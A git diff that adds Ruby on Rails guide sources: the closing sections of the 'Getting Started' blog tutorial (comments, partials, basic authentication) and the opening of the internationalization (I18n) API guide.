+| app/assets/javascripts/comment.js.coffee | CoffeeScript for the controller |
+| app/assets/stylesheets/comment.css.scss | Cascading style sheet for the controller |
+
+Like with any blog, our readers will create their comments directly after
+reading the post, and once they have added their comment, will be sent back to
+the post show page to see their comment now listed. Due to this, our
+`CommentsController` is there to provide a method to create comments and delete
+spam comments when they arrive.
+
+So first, we'll wire up the Post show template
+(`app/views/posts/show.html.erb`) to let us make a new comment:
+
+```html+erb
+<p>
+ <strong>Title:</strong>
+ <%= @post.title %>
+</p>
+
+<p>
+ <strong>Text:</strong>
+ <%= @post.text %>
+</p>
+
+<h2>Add a comment:</h2>
+<%= form_for([@post, @post.comments.build]) do |f| %>
+ <p>
+ <%= f.label :commenter %><br />
+ <%= f.text_field :commenter %>
+ </p>
+ <p>
+ <%= f.label :body %><br />
+ <%= f.text_area :body %>
+ </p>
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
+```
+
+This adds a form on the `Post` show page that creates a new comment by
+calling the `CommentsController` `create` action. The `form_for` call here uses
+an array, which will build a nested route, such as `/posts/1/comments`.
+
+Let's wire up the `create` in `app/controllers/comments_controller.rb`:
+
+```ruby
+class CommentsController < ApplicationController
+ def create
+ @post = Post.find(params[:post_id])
+ @comment = @post.comments.create(params[:comment].permit(:commenter, :body))
+ redirect_to post_path(@post)
+ end
+end
+```
+
+You'll see a bit more complexity here than you did in the controller for posts.
+That's a side-effect of the nesting that you've set up. Each request for a
+comment has to keep track of the post to which the comment is attached, thus the
+initial call to the `find` method of the `Post` model to get the post in question.
+
+In addition, the code takes advantage of some of the methods available for an
+association. We use the `create` method on `@post.comments` to create and save
+the comment. This will automatically link the comment so that it belongs to that
+particular post.
+
+Once we have made the new comment, we send the user back to the original post
+using the `post_path(@post)` helper. As we have already seen, this calls the
+`show` action of the `PostsController` which in turn renders the `show.html.erb`
+template. This is where we want the comment to show, so let's add that to the
+`app/views/posts/show.html.erb`.
+
+```html+erb
+<p>
+ <strong>Title:</strong>
+ <%= @post.title %>
+</p>
+
+<p>
+ <strong>Text:</strong>
+ <%= @post.text %>
+</p>
+
+<h2>Comments</h2>
+<% @post.comments.each do |comment| %>
+ <p>
+ <strong>Commenter:</strong>
+ <%= comment.commenter %>
+ </p>
+
+ <p>
+ <strong>Comment:</strong>
+ <%= comment.body %>
+ </p>
+<% end %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@post, @post.comments.build]) do |f| %>
+ <p>
+ <%= f.label :commenter %><br />
+ <%= f.text_field :commenter %>
+ </p>
+ <p>
+ <%= f.label :body %><br />
+ <%= f.text_area :body %>
+ </p>
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
+```
+
+Now you can add posts and comments to your blog and have them show up in the
+right places.
+
+
+
+Refactoring
+-----------
+
+Now that we have posts and comments working, take a look at the
+`app/views/posts/show.html.erb` template. It is getting long and awkward. We can
+use partials to clean it up.
+
+### Rendering Partial Collections
+
+First, we will make a comment partial to extract showing all the comments for the
+post. Create the file `app/views/comments/_comment.html.erb` and put the
+following into it:
+
+```html+erb
+<p>
+ <strong>Commenter:</strong>
+ <%= comment.commenter %>
+</p>
+
+<p>
+ <strong>Comment:</strong>
+ <%= comment.body %>
+</p>
+```
+
+Then you can change `app/views/posts/show.html.erb` to look like the
+following:
+
+```html+erb
+<p>
+ <strong>Title:</strong>
+ <%= @post.title %>
+</p>
+
+<p>
+ <strong>Text:</strong>
+ <%= @post.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @post.comments %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@post, @post.comments.build]) do |f| %>
+ <p>
+ <%= f.label :commenter %><br />
+ <%= f.text_field :commenter %>
+ </p>
+ <p>
+ <%= f.label :body %><br />
+ <%= f.text_area :body %>
+ </p>
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
+```
+
+This will now render the partial in `app/views/comments/_comment.html.erb` once
+for each comment that is in the `@post.comments` collection. As the `render`
+method iterates over the `@post.comments` collection, it assigns each
+comment to a local variable named the same as the partial, in this case
+`comment` which is then available in the partial for us to show.
+
+### Rendering a Partial Form
+
+Let us also move that new comment section out to its own partial. Again, you
+create a file `app/views/comments/_form.html.erb` containing:
+
+```html+erb
+<%= form_for([@post, @post.comments.build]) do |f| %>
+ <p>
+ <%= f.label :commenter %><br />
+ <%= f.text_field :commenter %>
+ </p>
+ <p>
+ <%= f.label :body %><br />
+ <%= f.text_area :body %>
+ </p>
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+```
+
+Then you make the `app/views/posts/show.html.erb` look like the following:
+
+```html+erb
+<p>
+ <strong>Title:</strong>
+ <%= @post.title %>
+</p>
+
+<p>
+ <strong>Text:</strong>
+ <%= @post.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @post.comments %>
+
+<h2>Add a comment:</h2>
+<%= render "comments/form" %>
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
+```
+
+The second render just defines the partial template we want to render,
+`comments/form`. Rails is smart enough to spot the forward slash in that
+string and realize that you want to render the `_form.html.erb` file in
+the `app/views/comments` directory.
+
+The `@post` object is available to any partials rendered in the view because we
+defined it as an instance variable.
+
+Deleting Comments
+-----------------
+
+Another important feature of a blog is being able to delete spam comments. To do
+this, we need to implement a link of some sort in the view and a `DELETE` action
+in the `CommentsController`.
+
+So first, let's add the delete link in the
+`app/views/comments/_comment.html.erb` partial:
+
+```html+erb
+<p>
+ <strong>Commenter:</strong>
+ <%= comment.commenter %>
+</p>
+
+<p>
+ <strong>Comment:</strong>
+ <%= comment.body %>
+</p>
+
+<p>
+ <%= link_to 'Destroy Comment', [comment.post, comment],
+ method: :delete,
+ data: { confirm: 'Are you sure?' } %>
+</p>
+```
+
+Clicking this new "Destroy Comment" link will fire off a `DELETE
+/posts/:post_id/comments/:id` to our `CommentsController`, which can then use
+this to find the comment we want to delete, so let's add a destroy action to our
+controller (`app/controllers/comments_controller.rb`):
+
+```ruby
+class CommentsController < ApplicationController
+
+ def create
+ @post = Post.find(params[:post_id])
+ @comment = @post.comments.create(params[:comment])
+ redirect_to post_path(@post)
+ end
+
+ def destroy
+ @post = Post.find(params[:post_id])
+ @comment = @post.comments.find(params[:id])
+ @comment.destroy
+ redirect_to post_path(@post)
+ end
+
+end
+```
+
+The `destroy` action will find the post we are looking at, locate the comment
+within the `@post.comments` collection, and then remove it from the
+database and send us back to the show action for the post.
+
+
+### Deleting Associated Objects
+
+If you delete a post then its associated comments will also need to be deleted.
+Otherwise they would simply occupy space in the database. Rails allows you to
+use the `dependent` option of an association to achieve this. Modify the Post
+model, `app/models/post.rb`, as follows:
+
+```ruby
+class Post < ActiveRecord::Base
+ has_many :comments, dependent: :destroy
+ validates :title, presence: true,
+ length: { minimum: 5 }
+ [...]
+end
+```
+
+Security
+--------
+
+If you were to publish your blog online, anybody would be able to add, edit and
+delete posts or delete comments.
+
+Rails provides a very simple HTTP authentication system that will work nicely in
+this situation.
+
+In the `PostsController` we need to have a way to block access to the various
+actions if the person is not authenticated, here we can use the Rails
+`http_basic_authenticate_with` method, allowing access to the requested
+action if that method allows it.
+
+To use the authentication system, we specify it at the top of our
+`PostsController`, in this case, we want the user to be authenticated on every
+action, except for `index` and `show`, so we write that in `app/controllers/posts_controller.rb`:
+
+```ruby
+class PostsController < ApplicationController
+
+ http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]
+
+ def index
+ @posts = Post.all
+ end
+
+ # snipped for brevity
+```
+
+We also only want to allow authenticated users to delete comments, so in the
+`CommentsController` (`app/controllers/comments_controller.rb`) we write:
+
+```ruby
+class CommentsController < ApplicationController
+
+ http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy
+
+ def create
+ @post = Post.find(params[:post_id])
+ ...
+ end
+ # snipped for brevity
+```
+
+Now if you try to create a new post, you will be greeted with a basic HTTP
+Authentication challenge
+
+
+
+What's Next?
+------------
+
+Now that you've seen your first Rails application, you should feel free to
+update it and experiment on your own. But you don't have to do everything
+without help. As you need assistance getting up and running with Rails, feel
+free to consult these support resources:
+
+* The [Ruby on Rails guides](index.html)
+* The [Ruby on Rails Tutorial](http://railstutorial.org/book)
+* The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk)
+* The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net
+
+Rails also comes with built-in help that you can generate using the rake command-line utility:
+
+* Running `rake doc:guides` will put a full copy of the Rails Guides in the `doc/guides` folder of your application. Open `doc/guides/index.html` in your web browser to explore the Guides.
+* Running `rake doc:rails` will put a full copy of the API documentation for Rails in the `doc/api` folder of your application. Open `doc/api/index.html` in your web browser to explore the API documentation.
+
+TIP: To be able to generate the Rails Guides locally with the `doc:guides` rake task you need to install the RedCloth gem. Add it to your `Gemfile` and run `bundle install` and you're ready to go.
+
+Configuration Gotchas
+---------------------
+
+The easiest way to work with Rails is to store all external data as UTF-8. If
+you don't, Ruby libraries and Rails will often be able to convert your native
+data into UTF-8, but this doesn't always work reliably, so you're better off
+ensuring that all external data is UTF-8.
+
+If you have made a mistake in this area, the most common symptom is a black
+diamond with a question mark inside appearing in the browser. Another common
+symptom is characters like "ü" appearing instead of "ü". Rails takes a number
+of internal steps to mitigate common causes of these problems that can be
+automatically detected and corrected. However, if you have external data that is
+not stored as UTF-8, it can occasionally result in these kinds of issues that
+cannot be automatically detected by Rails and corrected.
+
+Two very common sources of data that are not UTF-8:
+
+* Your text editor: Most text editors (such as TextMate), default to saving files as
+ UTF-8. If your text editor does not, this can result in special characters that you
+ enter in your templates (such as é) to appear as a diamond with a question mark inside
+ in the browser. This also applies to your i18n translation files.
+ Most editors that do not already default to UTF-8 (such as some versions of
+ Dreamweaver) offer a way to change the default to UTF-8. Do so.
+* Your database. Rails defaults to converting data from your database into UTF-8 at
+ the boundary. However, if your database is not using UTF-8 internally, it may not
+ be able to store all characters that your users enter. For instance, if your database
+ is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese
+ character, the data will be lost forever once it enters the database. If possible,
+ use UTF-8 as the internal storage of your database.
diff --git a/guides/source/i18n.md b/guides/source/i18n.md
new file mode 100644
index 0000000..d187d3a
--- /dev/null
+++ b/guides/source/i18n.md
@@ -0,0 +1,1005 @@
+Rails Internationalization (I18n) API
+=====================================
+
+The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for **translating your application to a single custom language** other than English or for **providing multi-language support** in your application.
+
+The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits.[^1]
+
+So, in the process of _internationalizing_ your Rails application you have to:
+
+* Ensure you have support for i18n.
+* Tell Rails where to find locale dictionaries.
+* Tell Rails how to set, preserve and switch locales.
+
+In the process of _localizing_ your application you'll probably want to do the following three things:
+
+* Replace or supplement Rails' default locale — e.g. date and time formats, month names, Active Record model names, etc.
+* Abstract strings in your application into keyed dictionaries — e.g. flash messages, static text in your views, etc.
+* Store the resulting dictionaries somewhere.
+
+This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start.
+
+After reading this guide, you will know:
+
+--------------------------------------------------------------------------------
+
+NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails [I18n Wiki](http://rails-i18n.org/wiki) for more information.
+
+How I18n in Ruby on Rails Works
+-------------------------------
+
+Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
+
+* providing support for English and similar languages out of the box
+* making it easy to customize and extend everything for other languages
+
+As part of this solution, **every static string in the Rails framework** — e.g. Active Record validation messages, time and date formats — **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults.
+
+### The Overall Architecture of the Library
+
+Thus, the Ruby I18n gem is split into two parts:
+
+* The public API of the i18n framework — a Ruby module with public methods that define how the library works
+* A default backend (which is intentionally named _Simple_ backend) that implements these methods
+
+As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
+
+NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section [Using different backends](#using-different-backends) below.
+
+### The Public I18n API
+
+The most important methods of the I18n API are:
+
+```ruby
+translate # Lookup text translations
+localize # Localize Date and Time objects to local formats
+```
+
+These have the aliases #t and #l so you can use them like this:
+
+```ruby
+I18n.t 'store.title'
+I18n.l Time.now
+```
+
+There are also attribute readers and writers for the following attributes:
+
+```ruby
+load_path # Announce your custom translation files
+locale # Get and set the current locale
+default_locale # Get and set the default locale
+exception_handler # Use a different exception_handler
+backend # Use a different backend
+```
+
+So, let's internationalize a simple Rails application from the ground up in the next chapters!
+
+Setup the Rails Application for Internationalization
+----------------------------------------------------
+
+There are just a few simple steps to get up and running with I18n support for your application.
+
+### Configure the I18n Module
+
+Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
+
+Rails adds all `.rb` and `.yml` files from the `config/locales` directory to your **translations load path**, automatically.
+
+The default `en.yml` locale in this directory contains a sample pair of translation strings:
+
+```ruby
+en:
+ hello: "Hello world"
+```
+
+This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the [`activerecord/lib/active_record/locale/en.yml`](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/ [...]
+
+The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations.
+
+NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as [...]
+
+The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
+
+NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
+
+The default `application.rb` files has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
+
+```ruby
+# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
+# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+# config.i18n.default_locale = :de
+```
+
+### Optional: Custom I18n Configuration Setup
+
+For the sake of completeness, let's mention that if you do not want to use the `application.rb` file for some reason, you can always wire up things manually, too.
+
+To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:
+
+```ruby
+# in config/initializers/locale.rb
+
+# tell the I18n library where to find your translations
+I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
+
+# set default locale to something other than :en
+I18n.default_locale = :pt
+```
+
+### Setting and Passing the Locale
+
+If you want to translate your Rails application to a **single language other than English** (the default locale), you can set I18n.default_locale to your locale in `application.rb` or an initializer as shown above, and it will persist through the requests.
+
+However, you would probably like to **provide support for more locales** in your application. In such case, you need to set and pass the locale between requests.
+
+WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful app [...]
+
+The _setting part_ is easy. You can set the locale in a `before_action` in the `ApplicationController` like this:
+
+```ruby
+before_action :set_locale
+
+def set_locale
+ I18n.locale = params[:locale] || I18n.default_locale
+end
+```
+
+This requires you to pass the locale as a URL query parameter as in `http://example.com/books?locale=pt`. (This is, for example, Google's approach.) So `http://localhost:3000?locale=pt` will load the Portuguese localization, whereas `http://localhost:3000?locale=de` would load the German localization, and so on. You may skip the next section and head over to the **Internationalize your application** section, if you want to try things out by manually placing the locale in the URL and relo [...]
+
+Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual `http://example.com/pt/books` versus `http://example.com/en/books`. Let's discuss the different options you have.
+
+### Setting the Locale from the Domain Name
+
+One option you have is to set the locale from the domain name where your application runs. For example, we want `www.example.com` to load the English (or default) locale, and `www.example.es` to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages:
+
+* The locale is an _obvious_ part of the URL.
+* People intuitively grasp in which language the content will be displayed.
+* It is very trivial to implement in Rails.
+* Search engines seem to like that content in different languages lives at different, inter-linked domains.
+
+You can implement it like this in your `ApplicationController`:
+
+```ruby
+before_action :set_locale
+
+def set_locale
+ I18n.locale = extract_locale_from_tld || I18n.default_locale
+end
+
+# Get locale from top-level domain or return nil if such locale is not available
+# You have to put something like:
+# 127.0.0.1 application.com
+# 127.0.0.1 application.it
+# 127.0.0.1 application.pl
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_tld
+ parsed_locale = request.host.split('.').last
+ I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
+end
+```
+
+We can also set the locale from the _subdomain_ in a very similar way:
+
+```ruby
+# Get locale code from request subdomain (like http://it.application.local:3000)
+# You have to put something like:
+# 127.0.0.1 gr.application.local
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_subdomain
+ parsed_locale = request.subdomains.first
+ I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
+end
+```
+
+If your application includes a locale switching menu, you would then have something like this in it:
+
+```ruby
+link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
+```
+
+assuming you would set `APP_CONFIG[:deutsch_website_url]` to some value like `http://www.application.de`.
+
+This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).
+
+### Setting the Locale from the URL Params
+
+The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the `I18n.locale = params[:locale]` _before_action_ in the first example. We would like to have URLs like `www.example.com/books?locale=ja` or `www.example.com/ja/books` in this case.
+
+This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
+
+Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL (e.g. `link_to( books_url(locale: I18n.locale))`) would be tedious and probably impossible, of course.
+
+Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000503) and helper methods dependent on it (by implementing/overriding this method).
+
+We can include something like this in our `ApplicationController` then:
+
+```ruby
+# app/controllers/application_controller.rb
+def default_url_options(options={})
+ logger.debug "default_url_options is passed options: #{options.inspect}\n"
+ { locale: I18n.locale }
+end
+```
+
+Every helper method dependent on `url_for` (e.g. helpers for named routes like `root_path` or `root_url`, resource routes like `books_path` or `books_url`, etc.) will now **automatically include the locale in the query string**, like this: `http://localhost:3001/?locale=ja`.
+
+You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.
+
+You probably want URLs to look like this: `www.example.com/en/books` (which loads the English locale) and `www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with [`scoping`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html) option in this way:
+
+```ruby
+# config/routes.rb
+scope "/:locale" do
+ resources :books
+end
+```
+
+Now, when you call the `books_path` method you should get `"/en/books"` (for the default locale). An URL like `http://localhost:3001/nl/books` should load the Dutch locale, then, and following calls to `books_path` should return `"/nl/books"` (because the locale changed).
+
+If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so:
+
+```ruby
+# config/routes.rb
+scope "(:locale)", locale: /en|nl/ do
+ resources :books
+end
+```
+
+With this approach you will not get a `Routing Error` when accessing your resources such as `http://localhost:3001/books` without a locale. This is useful for when you want to use the default locale when one is not specified.
+
+Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like `http://localhost:3001/nl` will not work automatically, because the `root to: "books#index"` declaration in your `routes.rb` doesn't take locale into account. (And rightly so: there's only one "root" URL.)
+
+You would probably need to map URLs like these:
+
+```ruby
+# config/routes.rb
+match '/:locale' => 'dashboard#index'
+```
+
+Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.)
+
+NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's [translate_routes](https://github.com/raul/translate_routes/tree/master).
+
+### Setting the Locale from the Client Supplied Information
+
+In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites — se [...]
+
+
+#### Using `Accept-Language`
+
+One source of client supplied information would be an `Accept-Language` HTTP header. People may [set this in their browser](http://www.w3.org/International/questions/qa-lang-priorities) or other clients (such as _curl_).
+
+A trivial implementation of using an `Accept-Language` header would be:
+
+```ruby
+def set_locale
+ logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
+ I18n.locale = extract_locale_from_accept_language_header
+ logger.debug "* Locale set to '#{I18n.locale}'"
+end
+private
+def extract_locale_from_accept_language_header
+ request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+end
+```
+
+Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb).
+
+#### Using GeoIP (or Similar) Database
+
+Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above — you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
+
+#### User Profile
+
+You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above — you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
+
+Internationalizing your Application
+-----------------------------------
+
+OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff.
+
+Let's _internationalize_ our application, i.e. abstract every locale-specific parts, and then _localize_ it, i.e. provide necessary translations for these abstracts.
+
+You most probably have something like this in one of your applications:
+
+```ruby
+# config/routes.rb
+Yourapp::Application.routes.draw do
+ root to: "home#index"
+end
+```
+
+```ruby
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+ def index
+ flash[:notice] = "Hello Flash"
+ end
+end
+```
+
+```html+erb
+# app/views/home/index.html.erb
+<h1>Hello World</h1>
+<p><%= flash[:notice] %></p>
+```
+
+
+
+### Adding Translations
+
+Obviously there are **two strings that are localized to English**. In order to internationalize this code, **replace these strings** with calls to Rails' `#t` helper with a key that makes sense for the translation:
+
+```ruby
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+ def index
+ flash[:notice] = t(:hello_flash)
+ end
+end
+```
+
+```html+erb
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p>
+```
+
+When you now render this view, it will show an error message which tells you that the translations for the keys `:hello_world` and `:hello_flash` are missing.
+
+
+
+NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do not need to spell out `I18n.t` all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a `<span class="translation_missing">`.
+
+So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
+
+```ruby
+# config/locales/en.yml
+en:
+ hello_world: Hello world!
+ hello_flash: Hello flash!
+
+# config/locales/pirate.yml
+pirate:
+ hello_world: Ahoy World
+ hello_flash: Ahoy Flash
+```
+
+There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows:
+
+
+
+And when you change the URL to pass the pirate locale (`http://localhost:3000?locale=pirate`), you'll get:
+
+
+
+NOTE: You need to restart the server when you add new locale files.
+
+You may use YAML (`.yml`) or plain Ruby (`.rb`) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant po [...]
+
+### Passing variables to translations
+
+You can use variables in the translation messages and pass their values from the view.
+
+```erb
+# app/views/home/index.html.erb
+<%=t 'greet_username', user: "Bill", message: "Goodbye" %>
+```
+
+```yaml
+# config/locales/en.yml
+en:
+ greet_username: "%{message}, %{user}!"
+```
+
+### Adding Date/Time Formats
+
+OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option — by default the `:default` format is used.
+
+```erb
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p
+<p><%= l Time.now, format: :short %></p>
+```
+
+And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
+
+```ruby
+# config/locales/pirate.yml
+pirate:
+ time:
+ formats:
+ short: "arrrround %H'ish"
+```
+
+So that would give you:
+
+
+
+TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at Github](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will [...]
+
+### Inflection Rules For Other Locales
+
+Rails 4.0 allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.
+
+### Localized Views
+
+Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will b [...]
+
+You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
+
+### Organization of Locale Files
+
+When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.
+
+For example, your `config/locales` directory could look like this:
+
+```
+|-defaults
+|---es.rb
+|---en.rb
+|-models
+|---book
+|-----es.rb
+|-----en.rb
+|-views
+|---defaults
+|-----es.rb
+|-----en.rb
+|---books
+|-----es.rb
+|-----en.rb
+|---users
+|-----es.rb
+|-----en.rb
+|---navigation
+|-----es.rb
+|-----en.rb
+```
+
+This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.
+
+NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:
+
+```ruby
+ # config/application.rb
+ config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
+
+```
+
+Do check the [Rails i18n Wiki](http://rails-i18n.org/wiki) for list of tools available for managing translations.
+
+Overview of the I18n API Features
+---------------------------------
+
+You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth.
+
+Covered are features like these:
+
+* looking up translations
+* interpolating data into translations
+* pluralizing translations
+* using safe HTML translations
+* localizing dates, numbers, currency, etc.
+
+### Looking up Translations
+
+#### Basic Lookup, Scopes and Nested Keys
+
+Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
+
+```ruby
+I18n.t :message
+I18n.t 'message'
+```
+
+The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key:
+
+```ruby
+I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
+```
+
+This looks up the `:record_invalid` message in the Active Record error messages.
+
+Additionally, both the key and scopes can be specified as dot-separated keys as in:
+
+```ruby
+I18n.translate "activerecord.errors.messages.record_invalid"
+```
+
+Thus the following calls are equivalent:
+
+```ruby
+I18n.t 'activerecord.errors.messages.record_invalid'
+I18n.t 'errors.messages.record_invalid', scope: :active_record
+I18n.t :record_invalid, scope: 'activerecord.errors.messages'
